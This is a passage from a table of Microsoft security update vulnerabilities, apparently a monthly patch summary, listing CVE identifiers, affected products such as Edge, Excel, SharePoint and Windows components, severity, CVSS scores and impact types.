No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  